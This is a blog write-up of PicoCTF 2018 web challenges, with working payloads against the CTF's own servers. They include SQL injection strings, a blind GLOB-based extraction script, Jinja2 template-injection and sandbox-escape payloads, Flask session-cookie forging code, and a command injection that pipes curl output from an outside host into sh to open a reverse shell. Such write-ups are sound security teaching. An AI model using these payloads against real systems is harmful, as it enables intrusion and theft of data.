PicoCTF 2018 Writeup: Web Exploitation

Oct 14, 2018 15:38 · 2872 words · 14 minute read ctf cyber-security write-up picoctf web

Inspect Me

Problem

Inpect this code! http://2018shell2.picoctf.com:35349

Solution

You can do view source code in your browser to get the flag.

Here are the source code for index.html, mycss.css, and myjs.js:

<!doctype html>
<html>
  <head>
    <title>My First Website :)</title>
    <link href="https://fonts.googleapis.com/css?family=Open+Sans|Roboto" rel="stylesheet">
    <link rel="stylesheet" type="text/css" href="mycss.css">
    <script type="application/javascript" src="myjs.js"></script>
  </head>

  <body>
    <div class="container">
      <header>
	<h1>My First Website</h1>
      </header>

      <button class="tablink" onclick="openTab('tabintro', this, '#222')" id="defaultOpen">Intro</button>
      <button class="tablink" onclick="openTab('tababout', this, '#222')">About</button>
      
      <div id="tabintro" class="tabcontent">
	<h3>Intro</h3>
	<p>This is my first website!</p>
      </div>

      <div id="tababout" class="tabcontent">
	<h3>About</h3>
	<p>These are the web skills I've been practicing: <br/>
	  HTML <br/>
	  CSS <br/>
	  JS (JavaScript)
	</p>
	<!-- I learned HTML! Here's part 1/3 of the flag: picoCTF{ur_4_real_1nspe -->
      </div>
      
    </div>
    
  </body>
</html>
div.container {
    width: 100%;
}

header {
    background-color: #c9d8ef;
    padding: 1em;
    color: white;
    clear: left;
    text-align: center;
}

body {
    font-family: Roboto;
}

h1 {
    color: #222;
}

p {
    font-family: "Open Sans";
}

.tablink {
    background-color: #555;
    color: white;
    float: left;
    border: none;
    outline: none;
    cursor: pointer;
    padding: 14px 16px;
    font-size: 17px;
    width: 50%;
}

.tablink:hover {
    background-color: #777;
}

.tabcontent {
    color: #111;
    display: none;
    padding: 50px;
    text-align: center;
}

#tabintro { background-color: #ccc; }
#tababout { background-color: #ccc; }

/* I learned CSS! Here's part 2/3 of the flag: ct0r_g4dget_098df0d0} */
function openTab(tabName,elmnt,color) {
    var i, tabcontent, tablinks;
    tabcontent = document.getElementsByClassName("tabcontent");
    for (i = 0; i < tabcontent.length; i++) {
	tabcontent[i].style.display = "none";
    }
    tablinks = document.getElementsByClassName("tablink");
    for (i = 0; i < tablinks.length; i++) {
	tablinks[i].style.backgroundColor = "";
    }
    document.getElementById(tabName).style.display = "block";
    if(elmnt.style != null) {
	elmnt.style.backgroundColor = color;
    }
}

window.onload = function() {
    openTab('tabintro', this, '#222');
}

/* I learned JavaScript! Here's part 3/3 of the flag:  */

Put the three parts together, and you get the flag.

flag: picoCTF{ur_4_real_1nspect0r_g4dget_098df0d0}

Client Side is Still Bad

Problem

I forgot my password again, but this time there doesn’t seem to be a reset, can you help me? http://2018shell2.picoctf.com:55790

Solution

Let’s take a look at the source code of the web page:


<html>
<head>
<title>Super Secure Log In</title>
</head>
<body bgcolor="#000000">
<!-- standard MD5 implementation -->
<script type="text/javascript" src="md5.js"></script>

<script type="text/javascript">
  function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(split*7, split*8) == '}') {
      if (checkpass.substring(split*6, split*7) == 'd366') {
        if (checkpass.substring(split*5, split*6) == 'd_3b') {
         if (checkpass.substring(split*4, split*5) == 's_ba') {
          if (checkpass.substring(split*3, split*4) == 'nt_i') {
            if (checkpass.substring(split*2, split*3) == 'clie') {
              if (checkpass.substring(split, split*2) == 'CTF{') {
                if (checkpass.substring(0,split) == 'pico') {
                  alert("You got the flag!")
                  }
                }
              }
      
            }
          }
        }
      }
    }
    else {
      alert("Incorrect password");
    }
  }
</script>
<div style="position:relative; padding:5px;top:50px; left:38%; width:350px; height:140px; background-color:red">
<div style="text-align:center">
<p>Welcome to the Secure Login Server.</p>
<p>Please enter your credentials to proceed</p>
<form action="index.html" method="post">
<input type="password" id="pass" size="8" />
<br/>
<input type="submit" value="Log in" onclick="verify(); return false;" />
</form>
</div>
</div>
</body>
</html>

As you can see, the flag is checked in the user’s browser (the client side), and we can piece together the flag using the nested if statements.

flag: picoCTF{client_is_bad_3bd366}

Logon

Problem

I made a website so now you can log on to! I don’t seem to have the admin password. See if you can’t get to the flag. http://2018shell2.picoctf.com:5477

Solution

After playing around with the website for a bit, we can see that the website allows logins as long as the username is not admin. Our next step would be to look at the cookies stored in our browser after login:

As you can see, there’s a cookie called admin, and it is currently set to False. By changing it from False to True, we are able to fool the server and get the flag.

flag: picoCTF{l0g1ns_ar3nt_r34l_aaaaa17a}

Irish Name Repo

Problem

There is a website running at http://2018shell2.picoctf.com:52135. Do you think you can log us in? Try to see if you can login!

Solution

First, we see that the login page is located at http://2018shell2.picoctf.com:52135/login.html.

Also, by reading the html source code, we see that there is a hidden input field called debug:

<form action="login.php" method="POST">
  <fieldset>
      <div class="form-group">
          <label for="username">Username:</label>
          <input type="text" id="username" name="username" class="form-control">
      </div>
      <div class="form-group">
          <label for="password">Password:</label>
          <div class="controls">
              <input type="password" id="password" name="password" class="form-control">
          </div>
      </div>
      <input type="hidden" name="debug" value="0">

      <div class="form-actions">
          <input type="submit" value="Login" class="btn btn-primary">
      </div>
  </fieldset>
</form>

After setting the field to 1 inside the browser, we get this when trying to login:

username: admin
password: admin
SQL query: SELECT * FROM users WHERE name='admin' AND password='admin'
Login failed.

As you can see, this is a SQL injection problem.

By setting username to ' or 1=1 -- and password to some random string, the sql query becomes SELECT * FROM users WHERE name='' or 1=1 -- AND password='admin'. Because the -- comments out everything after it and 1=1 is always trye, we are able to make the sql return all users giving us the flag.

flag: picoCTF{con4n_r3411y_1snt_1r1sh_8cf1b7e7}

Mr. Robots

Problem

Do you see the same things I see? The glimpses of the flag hidden away? http://2018shell2.picoctf.com:40064

Solution

As the name implies, this challenge is about reading the robots.txt file which you can learn more about over here.

By visiting http://2018shell2.picoctf.com:40064/robots.txt, we see that there’s a page at /30de1.html, and we get the flag by going to http://2018shell2.picoctf.com:40064/30de1.html.

flag: picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_30de1}

No Login

Problem

Looks like someone started making a website but never got around to making a login, but I heard there was a flag if you were the admin. http://2018shell2.picoctf.com:14664

Solution

Similar to Logon, you solve this challenge by setting the cookie admin from 0 to 1.

Here is how you can send a http request from the terminal using httpie:

❯ http GET http://2018shell2.picoctf.com:14664/flag "Cookie:admin=1"
HTTP/1.1 200 OK
Content-Length: 1343
Content-Type: text/html; charset=utf-8
Set-Cookie: admin=; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Path=/

<!DOCTYPE html>
<html lang="en">

<head>
    <title>My New Website</title>


    <link href="http://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">

    <link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet">


</head>

<body>

    <div class="container">
        <div class="header">
            <nav>
                <ul class="nav nav-pills pull-right">
                    <li role="presentation" class="active"><a href="/">Home</a>
                    </li>
                    <li role="presentation"><a href="/unimplemented">Sign In</a>
                    </li>
                    <li role="presentation"><a href="/unimplemented">Sign Out</a>
                    </li>
                </ul>
            </nav>
            <h3 class="text-muted">My New Website</h3>
        </div>

        <div class="jumbotron">
            <p class="lead"></p>
            <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{n0l0g0n_n0_pr0bl3m_eb9bab29}</code></p>
            <!-- <p><a class="btn btn-lg btn-success" href="admin" role="button">Click here for the flag!</a> -->
            <!-- </p> -->
        </div>


        <footer class="footer">
            <p>&copy; PicoCTF 2018</p>
        </footer>

    </div>
</body>

</html>

flag: picoCTF{n0l0g0n_n0_pr0bl3m_eb9bab29}

Secret Agent

Problem

Here’s a little website that hasn’t fully been finished. But I heard google gets all your info anyway. http://2018shell2.picoctf.com:46162

Solution

As hinted in the problem description, we need to fake our http user agent to pretent as google.

Here is how it can be done using the terminal:

❯ http GET http://2018shell2.picoctf.com:46162/flag User-Agent:"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
HTTP/1.1 200 OK
Content-Length: 2111
Content-Type: text/html; charset=utf-8
Set-Cookie: session=; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/

<!DOCTYPE html>
<html lang="en">

<head>
    <title>My New Website</title>


    <link href="http://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">

    <link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet">

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>

</head>

<body>

    <div class="container">
        <div class="header">
            <nav>
                <ul class="nav nav-pills pull-right">
                    <li role="presentation" class="active"><a href="/">Home</a>
                    </li>
                    <li role="presentation"><a href="/unimplemented">Sign In</a>
                    </li>
                    <li role="presentation"><a href="/unimplemented">Sign Out</a>
                    </li>
                </ul>
            </nav>
            <h3 class="text-muted">My New Website</h3>
        </div>

       <!-- Categories: success (green), info (blue), warning (yellow), danger (red) -->


       <div class="alert alert-success alert-dismissible" role="alert" id="myAlert">
         <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
         <!-- <strong>Title</strong> --> Googlebot!
           </div>



        <div class="jumbotron">
            <p class="lead"></p>
            <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{s3cr3t_ag3nt_m4n_ac87e6a7}</code></p>
            <!-- <p><a class="btn btn-lg btn-success" href="admin" role="button">Click here for the flag!</a> -->
            <!-- </p> -->
        </div>


        <footer class="footer">
            <p>&copy; PicoCTF 2018</p>
        </footer>

    </div>
    <script>
    $(document).ready(function(){
        $(".close").click(function(){
            $("myAlert").alert("close");
        });
    });
    </script>
</body>

</html>

flag: picoCTF{s3cr3t_ag3nt_m4n_ac87e6a7}

Buttons

Problem

There is a website running at http://2018shell2.picoctf.com:44730. Try to see if you can push their buttons.

Solution

Looking at the two buttons, you can see that the first button triggers a POST requestion while the second one triggers a GET request:

...
<form action="button1.php" method="POST">
    <input type="submit" value="PUSH ME! I am your only hope!"/>
</form>
...
...
You did it! Try the next button: <a href="button2.php">Button2</a>
...

We are able to get the flag by making a POST request to the second url:

❯ http POST http://2018shell2.picoctf.com:44730/button2.php
HTTP/1.1 200 OK
Content-type: text/html; charset=UTF-8

Well done, your flag is: picoCTF{button_button_whose_got_the_button_dfe8b73c}

flag: picoCTF{button_button_whose_got_the_button_dfe8b73c}

The Vault

Problem

There is a website running at http://2018shell2.picoctf.com:64349. Try to see if you can login!

Solution

First, we are able to read the source code of login.php:

<?php
  ini_set('error_reporting', E_ALL);
  ini_set('display_errors', 'On');

  include "config.php";
  $con = new SQLite3($database_file);

  $username = $_POST["username"];
  $password = $_POST["password"];
  $debug = $_POST["debug"];
  $query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'";

  if (intval($debug)) {
    echo "<pre>";
    echo "username: ", htmlspecialchars($username), "\n";
    echo "password: ", htmlspecialchars($password), "\n";
    echo "SQL query: ", htmlspecialchars($query), "\n";
    echo "</pre>";
  }

  //validation check
  $pattern ="/.*['\"].*OR.*/i";
  $user_match = preg_match($pattern, $username);
  $password_match = preg_match($pattern, $username);
  if($user_match + $password_match > 0)  {
    echo "<h1>SQLi detected.</h1>";
  }
  else {
    $result = $con->query($query);
    $row = $result->fetchArray();
    
    if ($row) {
      echo "<h1>Logged in!</h1>";
      echo "<p>Your flag is: $FLAG</p>";
    } else {
      echo "<h1>Login failed.</h1>";
    }
  }
  
?>

As you can see, this is also a SQL injection problem similar to Irish Name Repo.

The difference is that there’s a detection system that prevents us from using the OR keyword. Instead of using OR, we can use the union keyword to get the flag:

❯ http -f POST http://2018shell2.picoctf.com:64349/login.php debug=1 username="" password="' union select 1 from users--"
HTTP/1.1 200 OK
Content-type: text/html; charset=UTF-8

<pre>username:
password: ' union select 1 from users--
SQL query: SELECT 1 FROM users WHERE name='' AND password='' union select 1 from users--'
</pre><h1>Logged in!</h1><p>Your flag is: picoCTF{w3lc0m3_t0_th3_vau1t_e4ca2258}</p>

flag: picoCTF{w3lc0m3_t0_th3_vau1t_e4ca2258}

Artisinal Handcrafted HTTP 3

Problem

We found a hidden flag server hiding behind a proxy, but the proxy has some… interesting ideas of what qualifies someone to make HTTP requests. Looks like you’ll have to do this one by hand. Try connecting via nc 2018shell2.picoctf.com 2651, and use the proxy to send HTTP requests to flag.local. We’ve also recovered a username and a password for you to use on the login page: realbusinessuser/potoooooooo.

Solution

TODO

Flaskcards

Problem

We found this fishy website for flashcards that we think may be sending secrets. Could you take a look?

Solution

As the name implies, this challenge is about the python web framework, flask, or more specifically, Jinja2, the flask template engine.

If we enter {{ 1+1 }} as the content of a flashcard, we will see 2 being displayed. This means that anything placed in between {{ }} will be evaluated as a pythong expression.

We can get the flag by dumping the server configs. Just enter {{ config }} into a flashcard, and you will be able to get the flag.

flag: picoCTF{secret_keys_to_the_kingdom_45e7608d}

fancy-alive-monitoring

Problem

One of my school mate developed an alive monitoring tool. Can you get a flag from http://2018shell2.picoctf.com:17593?

Solution

Let’s take a look at the source code:

<html>
<head>
	<title>Monitoring Tool</title>
	<script>
	function check(){
		ip = document.getElementById("ip").value;
		chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/);
		if (!chk) {
			alert("Wrong IP format.");
			return false;
		} else {
			document.getElementById("monitor").submit();
		}
	}
	</script>
</head>
<body>
	<h1>Monitoring Tool ver 0.1</h1>
	<form id="monitor" action="index.php" method="post" onsubmit="return false;">
	<p> Input IP address of the target host
	<input id="ip" name="ip" type="text">
	</p>
	<input type="button" value="Go!" onclick="check()">
	</form>
	<hr>

<?php
$ip = $_POST["ip"];
if ($ip) {
	// super fancy regex check!
	if (preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/',$ip)) {
		exec('ping -c 1 '.$ip, $cmd_result);
		foreach($cmd_result as $str){
			if (strpos($str, '100% packet loss') !== false){
				printf("<h3>Target is NOT alive.</h3>");
				break;
			} else if (strpos($str, ', 0% packet loss') !== false){
				printf("<h3>Target is alive.</h3>");
				break;
			}
		}
	} else {
		echo "Wrong IP Format.";
	}
}
?>
<hr>
<a href="index.txt">index.php source code</a>
</body>
</html>

As you can see, there’s two regular expression being used. One is on the client side and one is on the server side.

The server side regex forget to place $ to match the end of the string; therefore, we are able to run any command on the server using the line exec('ping -c 1 '.$ip, $cmd_result);. This allows us to setup a reverse shell.

First, run nc -l 1337 on the shell server and then do:

❯ http -f POST http://2018shell2.picoctf.com:17593/index.php ip="192.168.1.1; curl https://shell.now.sh/127.0.0.1:1337 | sh"

This creates a reverse shell that we can then use to cat out the flag.

I used this helpful tool to create the reverse shell.

flag: picoCTF{n3v3r_trust_a_b0x_d7ad162d}

Secure Logon

Problem

Uh oh, the login page is more secure… I think. http://2018shell2.picoctf.com:46026. Source.

Solution

This problem is about the CBC bit flipping attack. Read more about it here and here.

So, we want to construct a json that contains "admin": 1 instead of "admin": 1. This can be done by changing the IV value since the json keys are sorted in alphabetical order and admin turns out to be in the first block. Basically, we want to xor the bytes at the same location as 0 but in the previous block with xor('0', '1'), and because how CBC is designed, the xor will carry on to the plaintaxt turing 0 to a 1.

>>> from pwn import *
>>> import json
>>> cookie = {}
>>> cookie['password'] = 'abcdefgh1111111'
>>> cookie['username'] = 'ab'
>>> cookie['admin'] = 0
>>> json.dumps(cookie, sort_keys=True)
'{"admin": 0, "password": "abcdefgh1111111", "username": "ab"}'
>>> json.dumps(cookie, sort_keys=True).index('0')
10
>>> c = 'ePDqhdXDqtxP/rsO0J11E7DE22lyUv4N1aP7WBSlOOgw0v1TVyYrmxHl278LbuI9jxr0J7NuXlKKSTXl79FFF+E3PQP00TidEtlGpf9W1rQ='.decode('base64')
>>> c = c[:10] + xor(c[10], '0', '1') + c[11:]
>>> c.encode('base64').replace('\n','')
'ePDqhdXDqtxP/roO0J11E7DE22lyUv4N1aP7WBSlOOgw0v1TVyYrmxHl278LbuI9jxr0J7NuXlKKSTXl79FFF+E3PQP00TidEtlGpf9W1rQ='

flag: picoCTF{fl1p_4ll_th3_bit3_a6396679}

Flaskcards Skeleton Key

Problem

Nice! You found out they were sending the Secret_key: 385c16dd09098b011d0086f9e218a0a2. Now, can you find a way to log in as admin? http://2018shell2.picoctf.com:48263.

Solution

Here are a few writeups and guides that I used to solve this challenge: 1, 2.

Basically, by having the Secret_key, we are able to decrypt and change the cookie of the page; therefore, allowing us to switch from our normal user to the admin user.

Here is the python code that does that (note that some code are borrowed from here):

from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer

class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    # Override method
    # Take secret_key instead of an instance of a Flask app
    def get_signing_serializer(self, secret_key):
        if not secret_key:
            return None
        signer_kwargs = dict(
            key_derivation=self.key_derivation,
            digest_method=self.digest_method
        )
        return URLSafeTimedSerializer(secret_key, salt=self.salt,
                                      serializer=self.serializer,
                                      signer_kwargs=signer_kwargs)


def decodeFlaskCookie(secret_key, cookieValue):
    sscsi = SimpleSecureCookieSessionInterface()
    signingSerializer = sscsi.get_signing_serializer(secret_key)
    return signingSerializer.loads(cookieValue)

# Keep in mind that flask uses unicode strings for the
# dictionary keys


def encodeFlaskCookie(secret_key, cookieDict):
    sscsi = SimpleSecureCookieSessionInterface()
    signingSerializer = sscsi.get_signing_serializer(secret_key)
    return signingSerializer.dumps(cookieDict)

cookie = decodeFlaskCookie('385c16dd09098b011d0086f9e218a0a2',
                          '.eJwljzFqBDEMAP_i-gpJtmTpPrNYskRCIIHduyrk77mQbpqBme921JnXW7s_zmfe2vG-273VZhNnJ7AoXSHLWVERs6rPsvDYzBNrRI1U8RfBAFrTOu1U2kBDqChsdTADpzE7Ti6sTOhUwloQMkgn6-xZJpFJiFvAe7u1uM46Hl8f-fnqEbRUW2NQJCiVy1A3IzXckTbDgpLpz3teef5PWPv5BaAZPmI.DpSgrw.SGhImnmWlX33-8gs-0L8kJWC3IY')

cookie[u'user_id'] = u'1'

print encodeFlaskCookie('385c16dd09098b011d0086f9e218a0a2',
                          cookie)

flag: picoCTF{1_id_to_rule_them_all_d77c1ed6}

Help Me Reset 2

Problem

There is a website running at http://2018shell2.picoctf.com:53126. We need to get into any user for a flag!

Solution

For this challenge, our goal is to reset the password for one of the users. By reading the page source, we are able to find the username:

...
<section class="content">
  <div class="container">
...
<!--Proudly maintained by carman-->

  </div>
</section>

Then, we have to guess the answer to one of the security questions, and by refreshing the page, we will be able to answer the same question three times allowing us to reset the password. Now login with the new password, and you will get the flag.

flag: picoCTF{i_thought_i_could_remember_those_34745314}

A Simple Question

Problem

There is a website running at http://2018shell2.picoctf.com:15987. Try to see if you can answer its question.

Solution

Let’s take a look at the source code located at view-source:http://2018shell2.picoctf.com:15987/answer2.phps:


<?php
  include "config.php";
  ini_set('error_reporting', E_ALL);
  ini_set('display_errors', 'On');

  $answer = $_POST["answer"];
  $debug = $_POST["debug"];
  $query = "SELECT * FROM answers WHERE answer='$answer'";
  echo "<pre>";
  echo "SQL query: ", htmlspecialchars($query), "\n";
  echo "</pre>";
?>
<?php
  $con = new SQLite3($database_file);
  $result = $con->query($query);

  $row = $result->fetchArray();
  if($answer == $CANARY)  {
    echo "<h1>Perfect!</h1>";
    echo "<p>Your flag is: $FLAG</p>";
  }
  elseif ($row) {
    echo "<h1>You are so close.</h1>";
  } else {
    echo "<h1>Wrong.</h1>";
  }
?>

Our objective for this problem would be to retrieve the $CANARY value from the database.

Because the server returns either a correct or incorrect response, we can guess the characters one at a one.

Here is a python script that does that:

import requests
import string

answer = ''
for i in range(100):
  for e in string.printable:
    c = e

    payload = "' or answer GLOB '{}*".format(answer+c)
    r = requests.post('http://2018shell2.picoctf.com:15987/answer2.php', data = {'answer': payload})
    if 'so close' in r.text:
      print r.text
      answer += c
      print answer
      break

Note that I am using GLOB instead of LIKE BINARY because it is a sqlite database

The canary turns out to be 41AndSixSixths, and by entering that, we get the flag.

flag: picoCTF{qu3stions_ar3_h4rd_41da9e94}

Flaskcards and Freedom

Problem

There seem to be a few more files stored on the flash card server but we can’t login. Can you? http://2018shell2.picoctf.com:46628

Solution

This problem combines python template injection and sandbox escaping into one question.

We bascially have to be able to read file on the system just by abusing the template injection vulnerablity.

This cheatsheet is very helpful in the proceess.

First, we need to bypass the restriction on using __class__, __subclasses__, and etc. This can be done by using request.args.* and pass in the values using the GET arguments.

Second, we need to be able to access attributes without using .. This is done using |attr(), a special symbol in the Jinja2 templating language.

Lastly, we need a way to read file. I did this by first dump all the classes using ''.__class__.__mro__[1].__subclasses__(). After going through all the classes, I landed on click.utils.LazyFile that is able to read files.

In the end, my exploit looks like this:

template string: {{((''|attr(request.args.param)|attr(request.args.param2))[1]|attr(request.args.param3))()[197](request.args.param4).open().read()}}

URL: http://2018shell2.picoctf.com:46628/list_cards?param=__class__&param2=__mro__&param3=__subclasses__&param4=/proc/self/cwd/flag

flag: picoCTF{R_C_E_wont_let_me_be_9659aa9e}

Feel free to leave a comment if any of the challenges is not well explained.

tweet Share